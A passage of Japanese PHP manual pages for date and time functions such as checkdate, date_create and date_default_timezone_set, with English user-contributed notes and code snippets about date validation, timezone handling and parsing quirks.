    $daysinmonth = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
    $days = $daysinmonth[$mon-1];
    if ($mon == 2 && ($year % 4) == 0 && (($year % 100) != 0 ||
    ($year % 400) == 0)) $days++;
    if ($mon == 2 && ($year % 4) == 0 && ($year % 1000) != 0) $days++;
    $lastday = getdate(mktime(0,0,0,$mon,$days,$year));
    $wday = $lastday['wday'];
    return getdate(mktime(0,0,0,$mon,$days-$wday,$year));
  }

  function lastsunday() {
    $today = getdate();
    $mon = $today['mon'];
    $year = $today['year'];
    $mday = $today['mday'];
    $lastsun = getlast($mon, $year);
    $sunday = $lastsun['mday'];
    if ($sunday < $mday) {
      $mon++;
      if ($mon = 13) {
        $mon = 1;
        $year++;
      }
      $lastsun = getlast($mon, $year);
      $sunday = $lastsun['mday'];
    }
    $nextmeeting = getdate(mktime(0,0,0,$mon,$sunday,$year));
    $month = $nextmeeting['month'];
    $mday = $nextmeeting['mday'];
    $year = $nextmeeting['year'];
    return "$month $mday, $year";
  }
?>
nightowl at NOS-PA-M dot uk2 dot net 30-Jul-2002 10:59
I wanted to find all records in my database which match the current week (for a call-back function). I made up this function to find the start and end of the current week :

<?php
function week($curtime) {

    $date_array = getdate (time());
    $numdays = $date_array["wday"];

    $startdate = date("Y-m-d", time() - ($numdays * 24*60*60));
    $enddate = date("Y-m-d", time() + ((7 - $numdays) * 24*60*60));

    $week['start'] = $startdate;
    $week['end'] = $enddate;

    return $week;

}
?>
php-contrib at i-ps dot nospam dot net 30-Jan-2002 06:07
Someone may find this info of some use:

Rules for calculating a leap year:

1) If the year divides by 4, it is a leap year (1988, 1992, 1996 are leap years)
2) Unless it divides by 100, in which case it isn't (1900 divides by 4, but was not a leap year)
3) Unless it divides by 400, in which case it is actually a leap year afterall (So 2000 was a leap year).

In practical terms, to work out the number of days in X years, multiply X by 365.2425, rounding DOWN to the last whole number, should give you the number of days.

The result will never be more than one whole day inaccurate, as opposed to multiplying by 365, which, over more years, will create a larger and larger deficit.
th at definitynet dot com 11-Jan-2001 11:00
I had some problems with dates between mySQL and PHP.  PHP had all these great date functions but I wanted to store a usable value in my database tables. In this case I was using TIMESTAMP(14)  <or 'YYYYMMDDHHMMSS'>.
This is perhaps the easiest way I have found to pull the PHP usable UNIX Datestamp from my mySQL datestamp stored in the tables:

Use the mySQL UNIX_TIMESTAMP() function in your SQL definition string. i.e.

$sql= "SELECT field1, field2, UNIX_TIMESTAMP(field3) as your_date
          FROM your_table
          WHERE field1 = '$value'";

The query will return a temp table with coulms "field1" "Field2" "your_date"

The "your_date" will be formatted in a UNIX TIMESTAMP!  Now you can use the PHP date() function to spew out nice date formats.

Sample using above $sql:
20010111002747  = Date Stored on mySQL table (TIMESTAMP(14))
979172867  = value returned as your_date in sql stmt (UNIX_TIMESTAMP)

if we use $newdate = date("F jS, Y -- g:ia", $row["your_date"]);
   --(after fetching our array from the sql results of course)--

echo "$newdate";              --Will produce:
January 11th, 2001 -- 12:27am

Hope this helps someone out there!


グレゴリオ暦の日付/時刻の妥当性を確認します

  • ≪ 日付・時刻 関数
  • date_add ≫
  • PHP Manual
  • 日付・時刻 関数
  • グレゴリオ暦の日付/時刻の妥当性を確認します

checkdate

(PHP 4, PHP 5, PHP 7, PHP 8)

checkdate — グレゴリオ暦の日付/時刻の妥当性を確認します

説明

checkdate ( int $month , int $day , int $year ) : bool

引数で指定された日付の妥当性をチェックします。 各パラメータが適切に指定されている場合に、妥当であると判断されます。

パラメータ

month

月は 1 から 12 の間となります。

day

日は、指定された month の日数の範囲内になります。year がうるう年の場合は、それも考慮されます。

year

年は 1 から 32767 の間となります。

返り値

指定した日付が有効な場合に true、そうでない場合に false を返します。

例

例1 checkdate() の例

<?php
var_dump(checkdate(12, 31, 2000));
var_dump(checkdate(2, 29, 2001));
?>

上の例の出力は以下となります。

bool(true)
bool(false)

参考

  • mktime() - 日付を Unix のタイムスタンプとして取得する
  • strtotime() - 英文形式の日付を Unix タイムスタンプに変換する

User Contributed Notes

Anonymous 15-Feb-2021 06:10
based on :
https://www.php.net/manual/es/function.checkdate.php#113205

there is a HOF php8 refactor

        $isValidFormatDateHOF = fn (string $format) =>  static fn (string $date) => ($dateTimeInmutable = \DateTimeImmutable::createFromFormat( $format, $date)) && $dateTimeInmutable->format( $format) === $date;

$isAtom = $isvalidFormatDateHOF(DateTimeInterface::ATOM)

$isAtom('2020-02-02')  //false
$isAtom('2021-02-15T19:17:01+00:00') //true
MarkAgius at markagius dot co dot uk 08-Mar-2020 02:25
Note:
checkdate() will return true and not false with the non existing dates 3/09/1752 to 13/09/1752
glavic at gmail dot com 12-Sep-2013 12:46
With DateTime you can make the shortest date&time validator for all formats.

<?php

function validateDate($date, $format = 'Y-m-d H:i:s')
{
    $d = DateTime::createFromFormat($format, $date);
    return $d && $d->format($format) == $date;
}

var_dump(validateDate('2012-02-28 12:12:12')); # true
var_dump(validateDate('2012-02-30 12:12:12')); # false
var_dump(validateDate('2012-02-28', 'Y-m-d')); # true
var_dump(validateDate('28/02/2012', 'd/m/Y')); # true
var_dump(validateDate('30/02/2012', 'd/m/Y')); # false
var_dump(validateDate('14:50', 'H:i')); # true
var_dump(validateDate('14:77', 'H:i')); # false
var_dump(validateDate(14, 'H')); # true
var_dump(validateDate('14', 'H')); # true

var_dump(validateDate('2012-02-28T12:12:12+02:00', 'Y-m-d\TH:i:sP')); # true
# or
var_dump(validateDate('2012-02-28T12:12:12+02:00', DateTime::ATOM)); # true

var_dump(validateDate('Tue, 28 Feb 2012 12:12:12 +0200', 'D, d M Y H:i:s O')); # true
# or
var_dump(validateDate('Tue, 28 Feb 2012 12:12:12 +0200', DateTime::RSS)); # true
var_dump(validateDate('Tue, 27 Feb 2012 12:12:12 +0200', DateTime::RSS)); # false
# ...


DateTime::add のエイリアス

  • ≪ checkdate
  • date_create_from_format ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::add のエイリアス

date_add

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_add — DateTime::add() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::add()

User Contributed Notes

antony at harrisretail dot co dot uk 15-Apr-2014 12:09
When using DateTime::add() be careful that additions over Summertime changes will not always produce the expected results.  For instance, adding a day (interval = P1D) is probably expected to keep the same time when added to a date even over a summertime change. But adding 24 hours (interval = PT24H) does not seem to take into effect the time change.

When then checking the time difference after adding 24 hours after the clocks went forward, the time difference is only 23 hours.

<?php
date_default_timezone_set('Europe/London');

$diff1Day = new DateInterval('P1D');
$diff24Hours = new DateInterval('PT24H');
$diff1440Minutes = new DateInterval('PT1440M');

// Clocks changed at 2014-03-30 02:00:00

$d0 = new DateTime('2014-03-29 08:00:00');

$d1 = new DateTime('2014-03-29 08:00:00');
// Add 1 day - expect time to remain at 08:00
$d1->add($diff1Day);
print_r($d1);

$d2 = new DateTime('2014-03-29 08:00:00');
// Add 24 hours - expect time to be 09:00
$d2->add($diff24Hours);
print_r($d2);

$seconds = $d1->getTimestamp() - $d0->getTimestamp();
echo "Difference in Hours: " . $seconds / (60 * 60) . "\n";
detain at interserver dot net 18-Aug-2013 05:41
<?php
function mysql_date_add($now = null, $adjustment )
{
        // normal mysql format is:   date_add(now(), INTERVAL 1 MONTH)
        // its close to the strtotime() format, but we need to make a few adjustments
        // first we lowercase everything, not sure if this is needed but it seems
        // to be both mysql conventions to be capitalized and php to lowercase this, so
        // i follow suit.
        $adjustment = strtolower($adjustment);
        // next we want to get rid of the INTERVAL part, as neither it nor a corrisponding
        // keyword used in the strtotime() function.   remmeber its lowercase now.
        $adjustment = str_replace('interval', '', $adjustment);
        // now the adjustment is suppsoed to have a + or - next to it to indicate direction
        // since strtotime() can be used to go both ways.  We want to tack this one, but first
        // strip any white space off the begining of the $adjustment so we dont wind up with like
        //  +     1         when we need    +1
        $adjustment = '+' . trim($adjustment);
        // we should now be left with something like '+1 month'  which is valid strtotime() syntax!
        // next we need to handle the $now, normally people would pass now() if they want the current
        // time or a datetime/timestamp.    We will need to account for this as well, we also
        // want to make use of having a default to now() type of behavior.    we want to also
        // trim and lowercase what they send us just to make it easier to compair to
        if (is_null($now) || strtolower(trim($now)) == 'now()')
        {
                // defaulted to or requested a the current time
                $now = time();
        }
        else
        {
                // here we are splitting out each part of the mysql timestamp , and storing it in the $parts array
                 preg_match('/([0-9]{4})-([0-9]{2})-([0-9]{2}) ([0-9]{2}):([0-9]{2}):([0-9]{2})/', $now, $parts);
                // now we use each of the parts to generate a timestamp from it
                $now = mktime($parts[4], $parts[5], $parts[6], $parts[2], $parts[3], $parts[1]);
        }
        // now we finally call strtotime() with the properly formatted text and get the date/time
        // calculates done.  I specify its returned as an integer to make things play more nicely
        // with eachother in case the conversion fails.
        $timestamp = (integer)strtotime($adjustment, $now);
        // finally we have the timestamp of the adjusted date nowe we just convert it back to the mysql
        // format and send it back to them.
        return date('Y-m-d H:i:s', $timestamp);
}
?>
lanlife4real 10-Jan-2010 03:19
This function allows the addition of day(s),month(s),year(s) to the original date while still preserving the Hours, minutes and seconds
You can also modify to add to hours, miuntes and even seconds.

<?php
function add_date($givendate,$day=0,$mth=0,$yr=0) {
      $cd = strtotime($givendate);
      $newdate = date('Y-m-d h:i:s', mktime(date('h',$cd),
    date('i',$cd), date('s',$cd), date('m',$cd)+$mth,
    date('d',$cd)+$day, date('Y',$cd)+$yr));
      return $newdate;
              }

?>
Hyun Woo Shin 27-Mar-2009 11:32
Just add month(s) on the orginal date.

<?php
function add_date($orgDate,$mth){
  $cd = strtotime($orgDate);
  $retDAY = date('Y-m-d', mktime(0,0,0,date('m',$cd)+$mth,date('d',$cd),date('Y',$cd)));
  return $retDAY;
}
?>
raph 09-Sep-2008 02:37
A little function to add 2 time lenghts. Enjoy !

<?php
function AddPlayTime ($oldPlayTime, $PlayTimeToAdd) {

    $pieces = split(':', $oldPlayTime);
    $hours=$pieces[0];
    $hours=str_replace("00","12",$hours);
    $minutes=$pieces[1];
    $seconds=$pieces[2];
    $oldPlayTime=$hours.":".$minutes.":".$seconds;

    $pieces = split(':', $PlayTimeToAdd);
    $hours=$pieces[0];
    $hours=str_replace("00","12",$hours);
    $minutes=$pieces[1];
    $seconds=$pieces[2];

    $str = $str.$minutes." minute ".$seconds." second" ;
    $str = "01/01/2000 ".$oldPlayTime." am + ".$hours." hour ".$minutes." minute ".$seconds." second" ;

    // Avant PHP 5.1.0, vous devez comparer avec  -1, au lieu de false
    if (($timestamp = strtotime($str)) === false) {
        return false;
    } else {
        $sum=date('h:i:s', $timestamp);
        $pieces = split(':', $sum);
        $hours=$pieces[0];
        $hours=str_replace("12","00",$hours);
        $minutes=$pieces[1];
        $seconds=$pieces[2];
        $sum=$hours.":".$minutes.":".$seconds;

        return $sum;

    }
}

$firstTime="00:03:12";
$secondTime="02:04:34";

$sum=AddPlayTime($firstTime,$secondTime);
if ($sum!=false) {
    echo $firstTime." + ".$secondTime." === ".$sum;
}
else {
    echo "failed";
}
?>


DateTime::createFromFormat のエイリアス

  • ≪ date_add
  • date_create_immutable_from_format ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::createFromFormat のエイリアス

date_create_from_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_create_from_format — DateTime::createFromFormat() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::createFromFormat()

User Contributed Notes

There are no user contributed notes for this page.


DateTimeImmutable::createFromFormat のエイリアス

  • ≪ date_create_from_format
  • date_create_immutable ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTimeImmutable::createFromFormat のエイリアス

date_create_immutable_from_format

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

date_create_immutable_from_format — DateTimeImmutable::createFromFormat() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTimeImmutable::createFromFormat()

User Contributed Notes

There are no user contributed notes for this page.


DateTimeImmutable::__construct のエイリアス

  • ≪ date_create_immutable_from_format
  • date_create ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTimeImmutable::__construct のエイリアス

date_create_immutable

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

date_create_immutable — DateTimeImmutable::__construct() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTimeImmutable::__construct()

User Contributed Notes

There are no user contributed notes for this page.


DateTime::__construct のエイリアス

  • ≪ date_create_immutable
  • date_date_set ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::__construct のエイリアス

date_create

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_create — DateTime::__construct() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::__construct()

User Contributed Notes

A. Go 16-Mar-2019 11:26
Notice php by default assume the give string as such format:
'-'    is    'y-m-d'
'/'    is    'm/d/y'

Unless the given string has Y or M,
that is year is written as full year '2019', or month is written as English shorthand 'Jan',
the default assumption will be applied, where the date might be incorrect.

The following code show a quick test: (true as of php 7.2)
$date = [
    '2019-1-3',
    '19-1-3',
    '3-1-2019',
    '3-Jan-19',
    '3-1-19', //php assume as y-m-d not d-m-y

    '2019-3-1',
    '19-3-1',
    '1-3-2019',
    '1-3-19',

    '2019/3/1',
    '19/3/1', //fail, php think is month 19
    '1/3/2019', //php think is m/d/y
    '1/3/19'
];

//Y-M-d
foreach($date as $i => $d){
    echo $i ."\r\n";
    var_dump(date_format(date_create($d), 'Y-M-d'));
    echo "\r\n";
}
Eugene 12-Jun-2015 07:36
@Marton Bodonyi
This is not exactly true.

The following code:
[code]
echo "1\n";
print_r(date_create('13-02-2013'));
echo "2\n";
print_r(date_create('13/02/2013'));
echo "3\n";
print_r(new DateTime('13-02-2013'));
echo "4\n";
print_r(new DateTime('13/02/2013'));
[/code]

produces the following output:
[code]
1
DateTime Object
(
    [date] => 2013-02-13 00:00:00.000000
    [timezone_type] => 3
    [timezone] => Europe/London
)
2
3
DateTime Object
(
    [date] => 2013-02-13 00:00:00.000000
    [timezone_type] => 3
    [timezone] => Europe/London
)
4
<br />
<b>Fatal error</b>:  Uncaught exception 'Exception' with message 'DateTime::__construct(): Failed to parse time string (13/02/2013) at position 0 (1): Unexpected character' in /test.php:23
Stack trace:
#0 /test.php(23): DateTime-&gt;__construct('13/02/2013')
#1 {main}
  thrown in <b>/test.php</b> on line <b>23</b><br />
[/code]

Which means that only slashes format actually wants you to use American order of date parts.
Hence you should use 'dd-mm-yyyy' or 'mm/dd/yyyy'
Which is weird, and should not be such.

PHP version is 5.4.40
ole1105 at lycos dot com 07-May-2015 02:39
See also

date_create_from_format
http://php.net/manual/en/function.date-create-from-format.php
tienhm at email dot thinknet dot vn 10-Feb-2014 04:43
The construct have some problem with date validate.

When you set
$datetime = DateTime::createFromFormat('Y-m-d H:i:s','2009-02-30 00:00:00');

it will be accepted but convert to 2009-03-02 00:00:00, it means the date was count on and plus 2 days
Andrew 25-Nov-2013 11:55
Indeed as mentioned above the constructor for DateTime  will allow the day of month upto 31 to be accepted for all months of the year. You should use checkdate if you wish to check that the day of the month represents a valid gregorian calendar date.
Marton Bodonyi 02-Feb-2013 04:34
If you are getting an error like this:

Exception: DateTime::__construct(): Failed to parse time string (13/02/2013) at position 0 (1): Unexpected character in DateTime->__construct()

Note that when you create a new date object using a format with slashes and dashes (eg 02-02-2012 or 02/02/2012) it must be in the mm/dd/yy(yy) or mm-dd-yy(yy) format (rather than british format dd/mm/yy)! Months always before years (the american style) otherwise you'll get an incorrect date and may get an error like the one above (where PHP is crashing on trying to decode a 13th month).

Can catch you off guard because everything seems to be working fine and dandy until you hit a value over 12.
php at andysdrawings dot co dot uk 16-May-2012 03:21
DateTime will recognise any number up to 12 as a [month], and any number up to 31 as a [day]; it calculates the resulting date to be [day] days after the start of [month].  This means that when a datetime object is created with more days than are found in that month, the date will be beyond the end of the month.

<?php
  $test = new DateTime('02/31/2011');
  echo date_format($test, 'Y-m-d H:i:s'); // 2011-03-03 00:00:00
  $test = new DateTime('06/31/2011');
  echo date_format($test, 'Y-m-d H:i:s'); // 2011-07-01 00:00:00
?>
me at jameswdunne dot com 17-Jul-2011 04:12
You should also be aware that DateTime has very lax date validation rules. It appears that all months have a maximum of 31 days.

For example, these will work fine:

<?php
  $test = new DateTime('02/31/2011');
  $test = new DateTime('06/31/2011');
?>

We all know that these dates are not real and are invalid so I think a good idea is to do some further validation on dates before creating a DateTime object with them.
Dok 05-Jul-2007 07:52
If you want to create the DateTime object directly from a timestamp use this

<?php
$st = 1170288000 //  a timestamp
$dt = new DateTime("@$st");
?>

See also: http://bugs.php.net/bug.php?id=40171
artur at jedlinski dot pl 19-Apr-2007 05:47
"String in a format accepted by strtotime()" is not 100% truth - you cannot pass timezone info in the string used as DateTime constructor, while you can do it with strtotime(). It may be a problem if you would like to create a date from GMT time and then display it in your local timezone, for example:

<?php
    $timeZone = 'Europe/Warsaw';  // +2 hours
    date_default_timezone_set($timeZone);

    $dateSrc = '2007-04-19 12:50 GMT';
    $dateTime = new DateTime($dateSrc);

    echo 'date(): '.date('H:i:s', strtotime($dateSrc));
    // correct! date(): 14:50:00

    echo 'DateTime::format(): '.$dateTime->format('H:i:s');
    // INCORRECT! DateTime::format(): 12:50:00
?>

[red. your claim that "is not 100% truth" is incorrect, you're seeing desired behavior here. The timezone passed as 2nd argument is used as a default fall back, in case the parsed string doesn't provide TZ information.]

So if you want to convert date between different timezones, you have to create two DateTimeZone objects - one for the input and one for output, like this:

<?php
    $timeZone = 'Europe/Warsaw';  // +2 hours
    $dateSrc = '2007-04-19 12:50';

    $dateTime = new DateTime($dateSrc, new DateTimeZone('GMT'));
    $dateTime->setTimeZone(new DateTimeZone($timeZone));
    echo 'DateTime::format(): '.$dateTime->format('H:i:s');
    // CORRECT! DateTime::format(): 14:50:00
?>

I'm not sure if this is a bug or desired behaviour.
[red. you don't have to do create two DateTimeZone objects, this works too:
<?php
    $timeZone = 'Europe/Warsaw';  // +2 hours
    $dateSrc = '2007-04-19 12:50 GMT';

    $dateTime = new DateTime($dateSrc);
    $dateTime->setTimeZone(new DateTimeZone($timeZone));
    echo 'DateTime::format(): '.$dateTime->format('H:i:s');
    // CORRECT! DateTime::format(): 14:50:00
?>
]


DateTime::setDate のエイリアス

  • ≪ date_create
  • date_default_timezone_get ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::setDate のエイリアス

date_date_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_date_set — DateTime::setDate() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::setDate()

User Contributed Notes

There are no user contributed notes for this page.


スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを取得する

  • ≪ date_date_set
  • date_default_timezone_set ≫
  • PHP Manual
  • 日付・時刻 関数
  • スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを取得する

date_default_timezone_get

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

date_default_timezone_get — スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを取得する

説明

date_default_timezone_get ( ) : string

この関数は、デフォルトのタイムゾーンを以下の優先順位で取得して返します。

  • date_default_timezone_set() 関数を使用して 設定したタイムゾーン (もし何か設定されていれば) を読み込む

  • PHP 5.4.0 より前のバージョンのみ: TZ 環境変数 (もし空白でなければ) を読み込む

  • date.timezone ini オプション (設定されていれば) を読み込む

  • PHP 5.4.0 より前のバージョンのみ: ホスト OS に問い合わせる (もし OS がそれに対応しており、許可されていれば)。 これは、タイムゾーンを推測するアルゴリズムを使います。 このアルゴリズムはあらゆる状況で正しく動作するとは限りません。 この段階に到達したときには警告が表示されます。 この推測が正しくなることに期待するのではなく、 date.timezone に正しいタイムゾーンを設定するようにしましょう。

上のすべてが失敗した場合は、date_default_timezone_get() はデフォルトのタイムゾーンである UTC を返します。

返り値

string を返します。

例

例1 デフォルトのタイムゾーンの取得

<?php
date_default_timezone_set('Europe/London');

if (date_default_timezone_get()) {
    echo 'date_default_timezone_set: ' . date_default_timezone_get() . '<br />';
}

if (ini_get('date.timezone')) {
    echo 'date.timezone: ' . ini_get('date.timezone');
}

?>

上の例の出力は、 たとえば以下のようになります。

date_default_timezone_set: Europe/London
date.timezone: Europe/London

例2 タイムゾーンの短縮名の取得

<?php
date_default_timezone_set('America/Los_Angeles');
echo date_default_timezone_get() . ' => ' . date('e') . ' => ' . date('T');
?>

上の例の出力は以下となります。

America/Los_Angeles => America/Los_Angeles => PST

参考

  • date_default_timezone_set() - スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを設定する
  • サポートされるタイムゾーンのリスト

User Contributed Notes

smcbride at msn dot com 24-Dec-2020 02:09
This function is not very useful for getting the OS timezone.  One way to do it is to look at the results of 'timedatectl' from the OS.  You can also look at the link from /etc/localtime

>file /etc/localtime
/etc/localtime: symbolic link to /usr/share/zoneinfo/America/Los_Angeles

>timedatectl
               Local time: Thu 2020-12-24 07:11:27 PST
           Universal time: Thu 2020-12-24 15:11:27 UTC
                 RTC time: Thu 2020-12-24 15:11:27
                Time zone: America/Los_Angeles (PST, -0800)
System clock synchronized: yes
              NTP service: active
          RTC in local TZ: no

<?php

$dateinfo = trim(shell_exec("timedatectl | grep -i zone: 2>/dev/null"));
$dateinfoarray = explode(' ', $dateinfo);
echo 'Timezone = ' . $dateinfoarray[2] . PHP_EOL;

?>
andrea at -REMOVE- bhweb dot it 22-Jul-2015 05:21
Please note that "Damien dot Garrido dot Work at gmail dot com" code is wrong, the third parameter of sprintf must be divided by 60.

This is the corrected function:

<?php
function timezone_offset_string( $offset )
{
        return sprintf( "%s%02d:%02d", ( $offset >= 0 ) ? '+' : '-', abs( $offset / 3600 ), abs( $offset % 3600 ) / 60 );
}
?>
bohwaz 12-Sep-2013 03:23
Please note that on Debian/Ubuntu this function will return the system timezone defined in /etc/localtime if date.timezone is not defined, even with PHP 5.4+

See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=673763#10
benrwhite at gmail dot com 12-Jul-2013 11:31
For the reason that date_default_timezone_get() throws an error when the timezone isn't set in php.ini and then returns a default chosen by the system (rather than returning false to indicate to the script that a timezone hasn't been set), I've found that the following works when you want a script to detect when the ini value has not been set and want the script itself to choose a default in that case, while still allowing bootstrap scripts to set their own default using date_default_timezone_set().

<?php

set_error_handler(function ($errno, $errstr){
    throw new Exception($errstr);
    return false;
});
try{
    date_default_timezone_get();
}
catch(Exception $e){
    date_default_timezone_set('UTC'); // Sets to UTC if not specified anywhere in .ini
}
restore_error_handler();
Damien dot Garrido dot Work at gmail dot com 05-Jul-2012 12:04
To get offset string from offset:

<?php

function timezone_offset_string( $offset )
{
        return sprintf( "%s%02d:%02d", ( $offset >= 0 ) ? '+' : '-', abs( $offset / 3600 ), abs( $offset % 3600 ) );
}

$offset = timezone_offset_get( new DateTimeZone( 'Pacific/Kiritimati' ), new DateTime() );
echo "offset: " . timezone_offset_string( $offset ) . "\n";

$offset = timezone_offset_get( new DateTimeZone( 'Pacific/Tahiti' ), new DateTime() );
echo "offset: " . timezone_offset_string( $offset ) . "\n";
?>

Output:
offset: +14:00
offset: -10:00
glennpratt+php at gmail dot com 19-May-2011 01:30
In my case, I'm not sure I can guess the correct timezone any better than PHP and it's no where near important enough to nag the user, so...

<?php
// Suppress DateTime warnings
date_default_timezone_set(@date_default_timezone_get());
?>
harmor 28-Feb-2008 08:19
If you want to get the abbrivation (3 or 4 letter), instead of the long timezone string you can use date('T') function like this:

Input:
date_default_timezone_set('America/Los_Angeles');
echo date_default_timezone_get();
echo ' => '.date('e');
echo ' => '.date('T');

Output:
America/Los_Angeles => America/Los_Angeles => PST
dohpaz at gmail dot com 20-Apr-2007 02:58
date_default_timezone_get() will still emit a warning in E_STRICT if the timezone is not set; either by date_default_timezone_set() or the ini option of date.timezone.

This is probably not a big deal, but I thought I would contribute what I found.


スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを設定する

  • ≪ date_default_timezone_get
  • date_diff ≫
  • PHP Manual
  • 日付・時刻 関数
  • スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを設定する

date_default_timezone_set

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

date_default_timezone_set — スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを設定する

説明

date_default_timezone_set ( string $timezoneId ) : bool

date_default_timezone_set() は、日付/時刻関数で 使用されるデフォルトタイムゾーンを設定します。

スクリプト内でこの関数を使用してデフォルトタイムゾーンを設定するかわりに、 INI 設定 date.timezone でデフォルトタイムゾーンを設定することもできます。

パラメータ

timezoneId

タイムゾーン ID 。例えば UTC, Africa/Lagos, Asia/Hong_Kong や Europe/Lisbon など。有効な ID の一覧は サポートされるタイムゾーンのリスト にあります。

返り値

この関数は、timezoneId が 無効なものである場合に false、それ以外の場合に true を返します。

例

例1 デフォルトのタイムゾーンの取得

<?php
date_default_timezone_set('America/Los_Angeles');

$script_tz = date_default_timezone_get();

if (strcmp($script_tz, ini_get('date.timezone'))){
    echo 'Script timezone differs from ini-set timezone.';
} else {
    echo 'Script timezone and ini-set timezone match.';
}
?>

参考

  • date_default_timezone_get() - スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを取得する
  • サポートされるタイムゾーンのリスト

User Contributed Notes

Pierre-Olivier Vares 27-Nov-2019 07:39
As Christopher Kramer said 9 years ago, not setting default timezone has performance impacts on PHP 5.6, and on PHP 7.1

It hasn't on php 7.2 anymore.

As I set error_reporting to 0 in my script, it doesn't seem linked to the fact it is logging the error.

I ran its benchmark script (modified) on Linux multiple times, alternating 'on' and 'off' setting :

<?php
error_reporting(0);

$tz = ($argc > 1 && ($argv[1] == 'on')) ? 'on': 'off';
if ($tz == 'on') date_default_timezone_set(@date_default_timezone_get());

$start=mktime(0,0,0,1,1,2005);
$end=mktime(0,0,0,1,1,2020);

$t0=microtime(true);
for ($i=0; $i<50000; $i++) date("H:i:s d.m.Y",rand($start,$end));

echo "Time ($tz): ".((microtime(true) - $t0)*100)."\n";
Joey 11-Apr-2019 07:29
> I'm sure I'm not the only one who is distressed by the recent default behavior change to E_NOTICE when the timezone isn't explicitly set in the program or in .ini.

You should always turn on notices and have a customer error handler that converts notices or indeed any PHP message to exceptions.

I've been doing this for years and it looks like expanding the use of exceptions in PHP itself is an ongoing process. It's almost certainly stuck with notices from legacy patterns prior to PHP possessing exception capability with the reason it's not been thoroughly applied being BC breakage.

Even in my extensions I redirect notices and warnings to exceptions. I'm certain the whole pressure for the ?? operator was to facilitate errors to exceptions as the only real drawback of that is needing to use isset a fair bit more.

Similar for asserts, json, etc, etc it all to use exceptions.

Another note. I profiled my PHP script and it reported that calling this function took half the time. Anyone else got this? Is it really that expensive? Am I doubling init time not having it in php.ini and possibly setting to the timezone it's already on? Or is it messing with time and breaking the time measurement? One day I'll bother to wrap it in microtime to try to see.
orynider at gmail dot com 27-Feb-2018 10:27
//Temp fix for timezone submited @ phpbb.com in 2014
if (@function_exists('date_default_timezone_set') && @function_exists('date_default_timezone_get'))
{
    @date_default_timezone_set(@date_default_timezone_get());
}
Lance E Sloan 27-Oct-2017 02:05
I avoid using strings as arguments when a constant or other kind of reference should be used.  For example, to set the default timezone to UTC, the recommended code is:

<?php
date_default_timezone_set('UTC'); // Potential for mistakes
?>

However, using the string "UTC" here opens up the possibility for mistakes.  For example, if the string "UTX" were entered accidentally,
most PHP editors PHP won't flag that as an error.  When run, the interpreter will show the common warning about a misspelled timezone and using "UTC" by default.

PHP should define constants to represent the major timezones.  Actually it does, but "DateTimeZone::UTC" inconveniently contains the integer value 1024, not a string.  However, "DateTimeZone::listIdentifiers()" can turn a timezone integer into an array of timezone identifier strings.  So, I use this code:

<?php
date_default_timezone_set(DateTimeZone::listIdentifiers(DateTimeZone::UTC)[0]);  // Foolproof
?>

It's longer, but if I make a mistake specifying the timezone (which I won't because I use code completion), my editor would highlight the problem. If I ran the program with an invalid timezone reference anyway, PHP would give the more helpful error, "Fatal error: Undefined class constant 'UTX' in /tmp/tarfu.php on line 24".
Jesse dot Chisholm at gmail dot com 19-Apr-2015 12:10
I found a need to change the timezone based on a DB record, so it would display properly for each record.  So I wrapped some of the other posts into this small class:

<?php
class TZStack
{
    private $stack = array();
    public function __construct(){}
    public function push($newTZ)
    {
        array_push($this->stack, date_default_timezone_get());
        if (isset($newTZ) && ("" != $newTZ))
        {
            date_default_timezone_set($newTZ);
        }
    }
    public function pop()
    {
        if (count($this->stack) > 0)
        {
            date_default_timezone_set(array_pop($this->stack));
        }
    }
}
// the global TZ stack for the rest of the code  to use.
$tzStack = new TZStack();
// In case I need to know the TZ at the web server. :)
$script_tz = date_default_timezone_get();
?>

Then in my per-record code:

<?php
    foreach($records as $item)
    {
        $tzStack->push($item['TZ']);
        $TZ = date("T", time());
        // code that displays this record, using $TZ.
        $tzStack->pop();
    }
?>
Anteaus 02-Jan-2015 12:04
This creates a huge problem for downloadable programs, which obviously cannot be hardcoded as this suggests, since the coder has no idea where they will be run.

Seems to me that if the server's timezone cannot be relied on, then THAT is the the problem which needs fixed. Not, cause the coder's syntactically-correct work to generate bogus error messages.
Taylor 30-May-2014 09:47
I was having major issues with the date.timezone setting after I updated from 5.3.3 to 5.4.29. I still need to update further, and perhaps it's a bug in this version that will be fixed when I update..

But to fix the issue of php not being about to find my time zone, I added a .htaccess file to the root of my web directory. All I have in it is this one line (without quotes)

"php_value date.timezone America/Denver"

And now the timezone is set in any directory I browse in. Very strange, and I still haven't figured out why It wont work from the php.ini file. But here's how to overcome the frustration.
chris at clwill dot com 10-Dec-2013 11:54
